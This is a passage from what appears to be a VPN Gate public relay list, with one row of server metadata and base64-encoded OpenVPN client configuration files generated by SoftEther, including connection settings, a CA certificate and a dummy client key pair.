2NyaXB0aW9ucyBjYXJlZnVsbHkuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB0eXBlIG9mIHRoZSBsYXllciBvZiB0aGUgVlBOIGNvbm5lY3Rpb24uDQojIA0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgIlJlbW90ZS1BY2Nlc3MgVlBOIENsaWVudCBQQyIsDQojICBzcGVjaWZ5ICdkZXYgdHVuJy4gKExheWVyLTMgSVAgUm91dGluZyBNb2RlKQ0KIw0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgYnJpZGdpbmcgZXF1aXBtZW50IG9mICJTaXRlLXRvLVNpdGUgVlBOIiwNCiMgIHNwZWNpZnkgJ2RldiB0YXAnLiAoTGF5ZXItMiBFdGhlcm5ldCBCcmlkZ2luZSBNb2RlKQ0KDQpkZXYgdHVuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB1bmRlcmx5aW5nIHByb3RvY29sIGJleW9uZCB0aGUgSW50ZXJuZXQuDQojIE5vdGUgdGhhdCB0aGlzIHNldHRpbmcgbXVzdCBiZSBjb3JyZXNwb25kIHdpdGggdGhlIGxpc3RlbmluZyBzZXR0aW5nIG9uDQojIHRoZSBWUE4gU2VydmVyLg0KIyANCiMgU3BlY2lmeSBlaXRoZXIgJ3Byb3RvIHRjcCcgb3IgJ3Byb3RvIHVkcCcuDQoNCnByb3RvIHRjcA0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGRlc3RpbmF0aW9uIGhvc3RuYW1lIC8gSVAgYWRkcmVzcywgYW5kIHBvcnQgbnVtYmVyIG9mDQojIHRoZSB0YXJnZXQgVlBOIFNlcnZlci4NCiMgDQojIFlvdSBoYXZlIHRvIHNwZWNpZnkgYXMgJ3JlbW90ZSA8SE9TVE5BTUU+IDxQT1JUPicuIFlvdSBjYW4gYWxzbw0KIyBzcGVjaWZ5IHRoZSBJUCBhZGRyZXNzIGluc3RlYWQgb2YgdGhlIGhvc3RuYW1lLg0KIyANCiMgTm90ZSB0aGF0IHRoZSBhdXRvLWdlbmVyYXRlZCBiZWxvdyBob3N0bmFtZSBhcmUgYSAiYXV0by1kZXRlY3RlZA0KIyBJUCBhZGRyZXNzIiBvZiB0aGUgVlBOIFNlcnZlci4gWW91IGhhdmUgdG8gY29uZmlybSB0aGUgY29ycmVjdG5lc3MNCiMgYmVmb3JlaGFuZC4NCiMgDQojIFdoZW4geW91IHdhbnQgdG8gY29ubmVjdCB0byB0aGUgVlBOIFNlcnZlciBieSB1c2luZyBUQ1AgcHJvdG9jb2wsDQojIHRoZSBwb3J0IG51bWJlciBvZiB0aGUgZGVzdGluYXRpb24gVENQIHBvcnQgc2hvdWxkIGJlIHNhbWUgYXMgb25lIG9mDQojIHRoZSBhdmFpbGFibGUgVENQIGxpc3RlbmVycyBvbiB0aGUgVlBOIFNlcnZlci4NCiMgDQojIFdoZW4geW91IHVzZSBVRFAgcHJvdG9jb2wsIHRoZSBwb3J0IG51bWJlciBtdXN0IHNhbWUgYXMgdGhlIGNvbmZpZ3VyYXRpb24NCiMgc2V0dGluZyBvZiAiT3BlblZQTiBTZXJ2ZXIgQ29tcGF0aWJsZSBGdW5jdGlvbiIgb24gdGhlIFZQTiBTZXJ2ZXIuDQoNCnJlbW90ZSAxMjYuODguMjExLjIzOSAxODg3DQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBUaGUgSFRUUC9IVFRQUyBwcm94eSBzZXR0aW5nLg0KIyANCiMgT25seSBpZiB5b3UgaGF2ZSB0byB1c2UgdGhlIEludGVybmV0IHZpYSBhIHByb3h5LCB1bmNvbW1lbnQgdGhlIGJlbG93DQojIHR3byBsaW5lcyBhbmQgc3BlY2lmeSB0aGUgcHJveHkgYWRkcmVzcyBhbmQgdGhlIHBvcnQgbnVtYmVyLg0KIyBJbiB0aGUgY2FzZSBvZiB1c2luZyBwcm94eS1hdXRoZW50aWNhdGlvbiwgcmVmZXIgdGhlIE9wZW5WUE4gbWFudWFsLg0KDQo7aHR0cC1wcm94eS1yZXRyeQ0KO2h0dHAtcHJveHkgW3Byb3h5IHNlcnZlcl0gW3Byb3h5IHBvcnRdDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBUaGUgZW5jcnlwdGlvbiBhbmQgYXV0aGVudGljYXRpb24gYWxnb3JpdGhtLg0KIyANCiMgRGVmYXVsdCBzZXR0aW5nIGlzIGdvb2QuIE1vZGlmeSBpdCBhcyB5b3UgcHJlZmVyLg0KIyBXaGVuIHlvdSBzcGVjaWZ5IGFuIHVuc3VwcG9ydGVkIGFsZ29yaXRobSwgdGhlIGVycm9yIHdpbGwgb2NjdXIuDQojIA0KIyBUaGUgc3VwcG9ydGVkIGFsZ29yaXRobXMgYXJlIGFzIGZvbGxvd3M6DQojICBjaXBoZXI6IFtOVUxMLUNJUEhFUl0gTlVMTCBBRVMtMTI4LUNCQyBBRVMtMTkyLUNCQyBBRVMtMjU2LUNCQyBCRi1DQkMNCiMgICAgICAgICAgQ0FTVC1DQkMgQ0FTVDUtQ0JDIERFUy1DQkMgREVTLUVERS1DQkMgREVTLUVERTMtQ0JDIERFU1gtQ0JDDQojICAgICAgICAgIFJDMi00MC1DQkMgUkMyLTY0LUNCQyBSQzItQ0JDIENBTUVMTElBLTEyOC1DQkMgQ0FNRUxMSUEtMTkyLUNCQyBDQU1FTExJQS0yNTYtQ0JDDQojICBkYXRhLWNpcGhlcnM6IHNhbWUgYXMgY2lwaGVyDQojICBhdXRoOiAgIFNIQSBTSEExIFNIQTI1NiBTSEEzODQgU0hBNTEyIE1ENSBNRDQgUk1EMTYwDQojDQojIE5vdGU6IFRvIHNvbHZlIE9wZW5WUE4gY29tcGF0aWJpbGl0eSBidWcNCiMgUmVjZW50IHZlcnNpb25zIG9mIHRoZSBPcGVuVlBOIGFwcCByZXF1aXJlIHNwZWNpZnlpbmcgdGhlICJkYXRhLWNpcGhlcnMiDQojIGZpZWxkIGluc3RlYWQgb2YgdGhlICJjaXBoZXIiIGZpZWxkLiBIb3dldmVyLCBvbGRlciB2ZXJzaW9ucyBvZiB0aGUgT3BlblZQTiBhcHANCiMgZG8gbm90IHJlY29nbml6ZSAiZGF0YS1jaXBoZXJzLiIgUmF0aGVyIHRoYW4gaWdub3JpbmcgaXQsIHRoZXkgcHJvZHVjZQ0KIyBhIHN0YXJ0dXAgZXJyb3Igc3RhdGluZyB0aGF0ICJubyBzdWNoIG9wdGlvbiBleGlzdHMuIiBUaGlzIGlzIGEgYnVnDQojIGluIE9wZW5WUE4uIElmIHlvdSBlbmNvdW50ZXIgdGhpcyBpc3N1ZSwgcGxlYXNlIGNvbW1lbnQgb3V0DQojIHRoZSAiZGF0YS1jaXBoZXJzIiBsaW5lLg0KDQpjaXBoZXIgQUVTLTEyOC1DQkMNCmRhdGEtY2lwaGVycyBBRVMtMTI4LUNCQw0KYXV0aCBTSEExDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBPdGhlciBwYXJhbWV0ZXJzIG5lY2Vzc2FyeSB0byBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyLg0KIyANCiMgSXQgaXMgbm90IHJlY29tbWVuZGVkIHRvIG1vZGlmeSBpdCB1bmxlc3MgeW91IGhhdmUgYSBwYXJ0aWN1bGFyIG5lZWQuDQoNCnJlc29sdi1yZXRyeSBpbmZpbml0ZQ0Kbm9iaW5kDQpwZXJzaXN0LWtleQ0KcGVyc2lzdC10dW4NCmNsaWVudA0KdmVyYiAzDQojYXV0aC11c2VyLXBhc3MNCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIFRoZSBjZXJ0aWZpY2F0ZSBmaWxlIG9mIHRoZSBkZXN0aW5hdGlvbiBWUE4gU2VydmVyLg0KIyANCiMgVGhlIENBIGNlcnRpZmljYXRlIGZpbGUgaXMgZW1iZWRkZWQgaW4gdGhlIGlubGluZSBmb3JtYXQuDQojIFlvdSBjYW4gcmVwbGFjZSB0aGlzIENBIGNvbnRlbnRzIGlmIG5lY2Vzc2FyeS4NCiMgUGxlYXNlIG5vdGUgdGhhdCBpZiB0aGUgc2VydmVyIGNlcnRpZmljYXRlIGlzIG5vdCBhIHNlbGYtc2lnbmVkLCB5b3UgaGF2ZSB0bw0KIyBzcGVjaWZ5IHRoZSBzaWduZXIncyByb290IGNlcnRpZmljYXRlIChDQSkgaGVyZS4NCg0KPGNhPg0KLS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tDQpNSUlGYXpDQ0ExT2dBd0lCQWdJUkFJSVF6N0RTUU9OWlJHUGd1Mk9DaXdBd0RRWUpLb1pJaHZjTkFRRUxCUUF3DQpUekVMTUFrR0ExVUVCaE1DVlZNeEtUQW5CZ05WQkFvVElFbHVkR1Z5Ym1WMElGTmxZM1Z5YVhSNUlGSmxjMlZoDQpjbU5vSUVkeWIzVndNUlV3RXdZRFZRUURFd3hKVTFKSElGSnZiM1FnV0RFd0hoY05NVFV3TmpBME1URXdORE00DQpXaGNOTXpVd05qQTBNVEV3TkRNNFdqQlBNUXN3Q1FZRFZRUUdFd0pWVXpFcE1DY0dBMVVFQ2hNZ1NXNTBaWEp1DQpaWFFnVTJWamRYSnBkSGtnVW1WelpXRnlZMmdnUjNKdmRYQXhGVEFUQmdOVkJBTVRERWxUVWtjZ1VtOXZkQ0JZDQpNVENDQWlJd0RRWUpLb1pJaHZjTkFRRUJCUUFEZ2dJUEFEQ0NBZ29DZ2dJQkFLM29KSFAwRkRmem01NHJWeWdjDQpoNzdjdDk4NGtJeHVQT1pYb0hqM2RjS2kvdlZxYnZZQVR5amIzbWlHYkVTVHRyRmovUlFTYTc4ZjB1b3hteUYrDQowVE04dWtqMTNYbmZzN2ovRXZFaG1rdkJpb1p4YVVwbVpteVBmanh3djYwcElnYno1TURtZ0s3aVM0KzNtWDZVDQpBNS9UUjVkOG1VZ2pVK2c0cms4S2I0TXUwVWxYaklCMHR0b3YwRGlOZXdOd0lSdDE4akE4K28rdTNkcGpxK3NXDQpUOEtPRVV0K3p3dm8vN1YzTHZTeWUwcmdUQklsREhDTkF5bWc0Vk1rN0JQWjdobS9FTE5LakQrSm8yRlIzcXlIDQpCNVQwWTNIc0x1SnZXNWlCNFlsY05IbHNkdTg3a0dKNTV0dWttaThteGRBUTRRN2UyUkNPRnZ1Mzk2ajN4K1VDDQpCNWlQTmdpVjUrSTNsZzAyZFo3N0RuS3hIWnU4QS9sSkJkaUIzUVcwS3RaQjZhd0JkcFVLRDlqZjFiMFNIelV2DQpLQmRzMHBqQnFBbGtkMjVITjdyT3JGbGVhSjEvY3RhSnhRWkJLVDVaUHQwbTlTVEpFYWRhbzB4QUgwYWhtYlduDQpPbEZ1aGp1ZWZYS25FZ1Y0V2UwK1VYZ1ZDd09QamRBdkJiSStlMG9jUzNNRkV2ekc2dUJRRTN4RGszU3p5blRuDQpqaDhCQ05BdzFGdHhOclFIdXNFd01GeEl0NEk3bUtaOVlJcWlveW1DekxxOWd3UWJvb01EUWFIV0JmRWJ3cmJ3DQpxSHlHTzBhb1NDcUkzSGFhZHI4ZmFxVTlHWS9yT1BOazNzZ3JEUW9vLy9mYjRoVkMxQ0xRSjEzaGVmNFk1M0NJDQpyVTdtMllzNnh0MG5VVzcvdkdUMU0wTlBBZ01CQUFHalFqQkFNQTRHQTFVZER3RUIvd1FFQXdJQkJqQVBCZ05WDQpIUk1CQWY4RUJUQURBUUgvTUIwR0ExVWREZ1FXQkJSNXRGbm1lN2JsNUFGemdBaUl5QnBZOXVtYmJqQU5CZ2txDQpoa2lHOXcwQkFRc0ZBQU9DQWdFQVZSOVlxYnl5cUZEUURMSFlHbWtnSnlrSXJHRjFYSXB1K0lMbGFTL1Y5bFpMDQp1Ymh6RUZuVElaZCs1MHh4KzdMU1lLMDVxQXZxRnlGV2hmRlFEbG5yenVCWjZickpGZStHblkrRWdQYms2WkdRDQozQmViWWh0RjhHYVYwbnh2d3VvNzd4L1B5OWF1Si9HcHNNaXUvWDErbXZvaUJPdi8yWC9xa1NzaXNSY09qL0tLDQpORnRZMlB3QnlWUzV1Q2JNaW9nemlVd3RoRHlDMys2V1Z3VzZMTHYzeExmSFRqdUN2akhJSW5Oemt0SENnS1E1DQpPUkF6STRKTVBKK0dzbFdZSGI0cGhvd2ltNTdpYXp0WE9vSndUZHdKeDRuTENnZE5iT2hkanNudnpxdkh1N1VyDQpUa1hXU3RBbXpPVnl5Z2hxcFpYakZhSDNwTzNKTEYrbCsvK3NLQUl1dnRkN3UrTnhlNUFXMHdkZVJsTjhOd2RDDQpqTlBFbHB6Vm1iVXE0SlVhZ0VpdVREa0h6c3hIcEZLVks3cTQrNjNTTTFOOTVSMU5iZFdoc2NkQ2IrWkFKelZjDQpveWkzQjQzbmpUT1E1eU9mKzFDY2VXeEcxYlFWczVadWZwc01sanE0VWkwLzFsdmgrd2pDaFA0a3FLT0oycXhxDQo0Umdxc2FoRFlWdlRIOXc3alhieUxlaU5kZDhYTTJ3OVUvdDd5MEZmLzl5aTBHRTQ0WmE0ckYyTE45ZDExVFBBDQptUkd1blVIQmNuV0V2Z0pCUWw5bkpFaVUwWnNudmdjL3ViaFBnWFJSNFhxMzdaMGo0cjdnMVNnRUV6d3hBNTdkDQplbXlQeGdjWXhuL2VSNDQvS0o0RUJzK2xWRFIzdmV5Sm0ra1hROTliMjEvK2poNVhvczFBblg1aUl0cmVHQ2M9DQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tDQoNCjwvY2E+DQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBUaGUgY2xpZW50IGNlcnRpZmljYXRlIGZpbGUgKGR1bW15KS4NCiMgDQojIEluIHNvbWUgaW1wbGVtZW50YXRpb25zIG9mIE9wZW5WUE4gQ2xpZW50IHNvZnR3YXJlDQojIChmb3IgZXhhbXBsZTogT3BlblZQTiBDbGllbnQgZm9yIGlPUyksDQojIGEgcGFpciBvZiBjbGllbnQgY2VydGlmaWNhdGUgYW5kIHByaXZhdGUga2V5IG11c3QgYmUgaW5jbHVkZWQgb24gdGhlDQojIGNvbmZpZ3VyYXRpb24gZmlsZSBkdWUgdG8gdGhlIGxpbWl0YXRpb24gb2YgdGhlIGNsaWVudC4NCiMgU28gdGhpcyBzYW1wbGUgY29uZmlndXJhdGlvbiBmaWxlIGhhcyBhIGR1bW15IHBhaXIgb2YgY2xpZW50IGNlcnRpZmljYXRlDQojIGFuZCBwcml2YXRlIGtleSBhcyBmb2xsb3dzLg0KDQo8Y2VydD4NCi0tLS0tQkVHSU4gQ0VSVElGSUNBVEUtLS0tLQ0KTUlJQ3hqQ0NBYTRDQVFBd0RRWUpLb1pJaHZjTkFRRUZCUUF3S1RFYU1CZ0dBMVVFQXhNUlZsQk9SMkYwWlVOcw0KYVdWdWRFTmxjblF4Q3pBSkJnTlZCQVlUQWtwUU1CNFhEVEV6TURJeE1UQXpORGswT1ZvWERUTTNNREV4T1RBeg0KTVRRd04xb3dLVEVhTUJnR0ExVUVBeE1SVmxCT1IyRjBaVU5zYVdWdWRFTmxjblF4Q3pBSkJnTlZCQVlUQWtwUQ0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUE1aDJsZ1FRWVVqd29LWUpielZaQQ0KNVZjSUdkNW90UGMvcVpSTXQwS0l0Q0ZBMHM5UndSZU5WYTlmRFJGTFJCaGNJVE9sdjNGQmNXM0U4aDFVczdSRA0KNFc4R21KZTh6YXBKbkxzRDM5T1NNUkN6WkpuY3pXNE9DSDFQWlJaV0txRHRqbE5jYTlBRjhhNjVqVG1sRHhDUQ0KQ2pudExJV2s1T0xMVmtGdDkvdFNjYzFHRHRjaTU1b2ZoYU5BWU1QaUg3VjgrMWc2NnBHSFhBb1dLNkFRVkg2Nw0KWENLSm5HQjVubFErSHNNWVBWL080OUxkOTFaTi8ydEhrY2FMTHlOdHl3eFZQUlNzUmg0ODBqanUwZmNDc3Y2aA0KcC8weVhuVEIvL21XdXRCR3BkVWxJYndpSVRiQW1yc2JZbmppZ1J2blBxWDFSTkpVYmk5RnA2QzJjL0hJRkpHRA0KeXdJREFRQUJNQTBHQ1NxR1NJYjNEUUVCQlFVQUE0SUJBUUNoTzVoZ2N3LzRvV2ZvRUZMdTlrQmExQi8va3hIOA0KaFFrQ2hWTm44QlJDN1kwVVJRaXRQbDNES0VlZDlVUkJEZGcyS09Bejc3YmI2RU5QaWxpRCthMzhVSkhJUk1xZQ0KVUJIaGxsT0hJenZEaEhGYmFvdkFMQlFjZWVCemRrUXhzS1FFU0ttUW1SODMyOTUwVUNvdm95UkI2MVV5QVY3aA0KK21aaFlQR1JLWEtTSkk2czBFZ2cvQ3JpK0N3azRiakpmcmI1aFZzZTExeWg0RDlNSGh3U2ZDT0grMHo0aFBVVA0KRmt1N2RHYXZVUk81U1Z4TW4vc0w2RW41RCtvU2VYa2FkSHBEcytBaXJ5bTJZSGgxNWgwK2pQU09vUjZ5aVZwLw0KNnpaZVprck40M2t1UzczS3BLREZqZkZQaDh0NHIxZ09JanR0a05jUXFCY2N1c25wbFE3SEpwc2sNCi0tLS0tRU5EIENFUlRJRklDQVRFLS0tLS0NCg0KPC9jZXJ0Pg0KDQo8a2V5Pg0KLS0tLS1CRUdJTiBSU0EgUFJJVkFURSBLRVktLS0tLQ0KTUlJRXBBSUJBQUtDQVFFQTVoMmxnUVFZVWp3b0tZSmJ6VlpBNVZjSUdkNW90UGMvcVpSTXQwS0l0Q0ZBMHM5Ug0Kd1JlTlZhOWZEUkZMUkJoY0lUT2x2M0ZCY1czRThoMVVzN1JENFc4R21KZTh6YXBKbkxzRDM5T1NNUkN6WkpuYw0Kelc0T0NIMVBaUlpXS3FEdGpsTmNhOUFGOGE2NWpUbWxEeENRQ2pudExJV2s1T0xMVmtGdDkvdFNjYzFHRHRjaQ0KNTVvZmhhTkFZTVBpSDdWOCsxZzY2cEdIWEFvV0s2QVFWSDY3WENLSm5HQjVubFErSHNNWVBWL080OUxkOTFaTg0KLzJ0SGtjYUxMeU50eXd4VlBSU3NSaDQ4MGpqdTBmY0NzdjZocC8weVhuVEIvL21XdXRCR3BkVWxJYndpSVRiQQ0KbXJzYlluamlnUnZuUHFYMVJOSlViaTlGcDZDMmMvSElGSkdEeXdJREFRQUJBb0lCQUVSVjdYNUF2eEE4dVJpSw0KazhTSXBzRDBkWDFwSk9NSXdha1VWeXZjNEVmTjBEaEtSTmI0cllvU2lFR1RMeXpMcHlCYy9BMjhEbGttNWVPWQ0KZmp6WGZZa0d0WWkvRnR4a2czTzl2Y3JNUTQrNmkrdUdIYUlMMnJMK3M0TXJmTzh2MXh2NitXa3kzM0VFR0NvdQ0KUWl3VkdSRlFYblJvUTYyTkJDRmJVTkxobVh3ZGoxYWtaekxVNHA1UjR6QTNRaGR4d0VJYXRWTHQwKzdvd0xRMw0KbFA4c2ZYaHBwUE9YalRxTUQ0UWtZd3pQQWE4L3pGN2FjbjRrcnlyVVA3UTZQQWZkMHpFVnFOeTlaQ1o5ZmZobw0KelhlZEZqNDg2SUZvYzVnblRwMk42anNuVmo0TENHSWhsVkhsWUdvektLRnFKY1FWR3NIQ3FxMW96MnpqVzZMUw0Kb1JZSUhnRUNnWUVBOHpacmtDd05ZU1hKdU9ESjNtL2hPTFZ4Y3hnSnV3WG9pRXJXZDBFNDJ2UGFuampWTWhudA0KS1k1bDhxR01KNkZoSzlMWXgycUNyZi9FMFh0VUFaMndWcTNPUlR5R25zTVdyZTl0TFlzNTVYK1pOMTBUYzc1eg0KNGhhY2JVMGhxS04xSGlEbXNNUlkzLzJOYVpIb3k3TUtud0pKQmFHNDhsOUNDVGxWd01Ib2NJRUNnWUVBOGpieQ0KZEdqeFRIKzZYSFdOaXpiNVNSYlp4QW55RWVKZVJ3VE1oMGdHendHUHBIL3NaWUd6eXUwU3lTWFdDblpoM1JncQ0KNXVMbE54dHJYcmxqWmx5aTJuUWRRZ3NxMllyV1VzMCt6Z1UrMjJ1UXNacFNBZnRtaFZydHZldDZNalZqYkJ5WQ0KREFEY2lFVlVkSllJWGsrcW5GVUp5ZXJvTElrVGo3V1lLWjZSamtzQ2dZQm9DRkl3UkRlZzQyb0s4OVJGbW5Pcg0KTHltTkFxNCsyb01oc1dsVmI0ZWpXSVdlQWs5bmMrR1hVZnJYc3pSaFMwMW1VblU1cjV5Z1V2UmNhclYvVDNVNw0KVG5NWitJN1k0RGdXUklEZDUxem5oeElCdFlWNWovQy90ODVIanFPa0grOGI2UlRrYmNoYVgzbWF1N2ZwVWZkcw0KRnEwbmhJcTQyZmhFTzhzcmZZWXdnUUtCZ1FDeWhpMU4vOHRhUndwayszL0lERXpRd2piZmR6VWtXV1NEazlYcw0KSC9wa3VSSFdmVE1QM2ZsV3FFWWdXL0xXNDBwZVcySERxNWltZFY4K0FnWnhlL1hNYmFqaTlMZ3dmMVJZMDA1bg0KS3hhWlF6N3lxSHVwV2xMR0Y2OERQSHhrWlZWU2FnRG5WL3N6dFdYNlNGc0NxRlZueElYaWZYR0M0Y1c1Tm05Zw0KdmE4cTRRS0JnUUNFaExWZVVmZHdLdmtaOTRnL0dGejczMVoyaHJkVmhnTVphVS91NnQwVjk1K1llelBOQ1FaQg0Kd21FOU1tbGJxMWVtRGVST2l2akNmb0doUjNrWlhXMXBUS2xMaDZaTVVRVU9wcHRkWHZhOFh4Zm9xUXdhM2VuQQ0KTTdtdUJiRjBYTjdWTzgwaUpQditQbUlaZEVJQWtwd0tmaTIwMVlCK0JhZkNJdUd4SUY1MFZnPT0NCi0tLS0tRU5EIFJTQSBQUklWQVRFIEtFWS0tLS0tDQoNCjwva2V5Pg0KDQo= +vpn506408150,95.170.177.6,743537,80,230142428,Russian Federation,RU,15,181947195,7522,739215662513,2weeks,DESKTOP-ENTK4ON's owner,,IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBPcGVuVlBOIDIuMCBTYW1wbGUgQ29uZmlndXJhdGlvbiBGaWxlDQojIGZvciBQYWNrZXRpWCBWUE4gLyBTb2Z0RXRoZXIgVlBOIFNlcnZlcg0KIyANCiMgISEhIEFVVE8tR0VORVJBVEVEIEJZIFNPRlRFVEhFUiBWUE4gU0VSVkVSIE1BTkFHRU1FTlQgVE9PTCAhISENCiMgDQojICEhISBZT1UgSEFWRSBUTyBSRVZJRVcgSVQgQkVGT1JFIFVTRSBBTkQgTU9ESUZZIElUIEFTIE5FQ0VTU0FSWSAhISENCiMgDQojIFRoaXMgY29uZmlndXJhdGlvbiBmaWxlIGlzIGF1dG8tZ2VuZXJhdGVkLiBZb3UgbWlnaHQgdXNlIHRoaXMgY29uZmlnIGZpbGUNCiMgaW4gb3JkZXIgdG8gY29ubmVjdCB0byB0aGUgUGFja2V0aVggVlBOIC8gU29mdEV0aGVyIFZQTiBTZXJ2ZXIuDQojIEhvd2V2ZXIsIGJlZm9yZSB5b3UgdHJ5IGl0LCB5b3Ugc2hvdWxkIHJldmlldyB0aGUgZGVzY3JpcHRpb25zIG9mIHRoZSBmaWxlDQojIHRvIGRldGVybWluZSB0aGUgbmVjZXNzaXR5IHRvIG1vZGlmeSB0byBzdWl0YWJsZSBmb3IgeW91ciByZWFsIGVudmlyb25tZW50Lg0KIyBJZiBuZWNlc3NhcnksIHlvdSBoYXZlIHRvIG1vZGlmeSBhIGxpdHRsZSBhZGVxdWF0ZWx5IG9uIHRoZSBmaWxlLg0KIyBGb3IgZXhhbXBsZSwgdGhlIElQIGFkZHJlc3Mgb3IgdGhlIGhvc3RuYW1lIGFzIGEgZGVzdGluYXRpb24gVlBOIFNlcnZlcg0KIyBzaG91bGQgYmUgY29uZmlybWVkLg0KIyANCiMgTm90ZSB0aGF0IHRvIHVzZSBPcGVuVlBOIDIuMCwgeW91IGhhdmUgdG8gcHV0IHRoZSBjZXJ0aWZpY2F0aW9uIGZpbGUgb2YNCiMgdGhlIGRlc3RpbmF0aW9uIFZQTiBTZXJ2ZXIgb24gdGhlIE9wZW5WUE4gQ2xpZW50IGNvbXB1dGVyIHdoZW4geW91IHVzZSB0aGlzDQojIGNvbmZpZyBmaWxlLiBQbGVhc2UgcmVmZXIgdGhlIGJlbG93IGRlc2NyaXB0aW9ucyBjYXJlZnVsbHkuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB0eXBlIG9mIHRoZSBsYXllciBvZiB0aGUgVlBOIGNvbm5lY3Rpb24uDQojIA0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgIlJlbW90ZS1BY2Nlc3MgVlBOIENsaWVudCBQQyIsDQojICBzcGVjaWZ5ICdkZXYgdHVuJy4gKExheWVyLTMgSVAgUm91dGluZyBNb2RlKQ0KIw0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgYnJpZGdpbmcgZXF1aXBtZW50IG9mICJTaXRlLXRvLVNpdGUgVlBOIiwNCiMgIHNwZWNpZnkgJ2RldiB0YXAnLiAoTGF5ZXItMiBFdGhlcm5ldCBCcmlkZ2luZSBNb2RlKQ0KDQpkZXYgdHVuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB1bmRlcmx5aW5nIHByb3RvY29sIGJleW9uZCB0aGUgSW50ZXJuZXQuDQojIE5vdGUgdGhhdCB0aGlzIHNldHRpbmcgbXVzdCBiZSBjb3JyZXNwb25kIHdpdGggdGhlIGxpc3RlbmluZyBzZXR0aW5nIG9uDQojIHRoZSBWUE4gU2VydmVyLg0KIyANCiMgU3BlY2lmeSBlaXRoZXIgJ3Byb3RvIHRjcCcgb3IgJ3Byb3RvIHVkcCcuDQoNCnByb3RvIHRjcA0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGRlc3RpbmF0aW9uIGhvc3RuYW1lIC8gSVAgYWRkcmVzcywgYW5kIHBvcnQgbnVtYmVyIG9mDQojIHRoZSB0YXJnZXQgVlBOIFNlcnZlci4NCiMgDQojIFlvdSBoYXZlIHRvIHNwZWNpZnkgYXMgJ3JlbW90ZSA8SE9TVE5BTUU+IDxQT1JUPicuIFlvdSBjYW4gYWxzbw0KIyBzcGVjaWZ5IHRoZSBJUCBhZGRyZXNzIGluc3RlYWQgb2YgdGhlIGhvc3RuYW1lLg0KIyANCiMgTm90ZSB0aGF0IHRoZSBhdXRvLWdlbmVyYXRlZCBiZWxvdyBob3N0bmFtZSBhcmUgYSAiYXV0by1kZXRlY3RlZA0KIyBJUCBhZGRyZXNzIiBvZiB0aGUgVlBOIFNlcnZlci4gWW91IGhhdmUgdG8gY29uZmlybSB0aGUgY29ycmVjdG5lc3MNCiMgYmVmb3JlaGFuZC4NCiMgDQojIFdoZW4geW91IHdhbnQgdG8gY29ubmVjdCB0byB0aGUgVlBOIFNlcnZlciBieSB1c2luZyBUQ1AgcHJvdG9jb2wsDQojIHRoZSBwb3J0IG51bWJlciBvZiB0aGUgZGVzdGluYXRpb24gVENQIHBvcnQgc2hvdWxkIGJlIHNhbWUgYXMgb25lIG9mDQojIHRoZSBhdmFpbGFibGUgVENQIGxpc3RlbmVycyBvbiB0aGUgVlBOIFNlcnZlci4NCiMgDQojIFdoZW4geW91IHVzZSBVRFAgcHJvdG9jb2wsIHRoZSBwb3J0IG51bWJlciBtdXN0IHNhbWUgYXMgdGhlIGNvbmZpZ3VyYXRpb24NCiMgc2V0dGluZyBvZiAiT3BlblZQTiBTZXJ2ZXIgQ29tcGF0aWJsZSBGdW5jdGlvb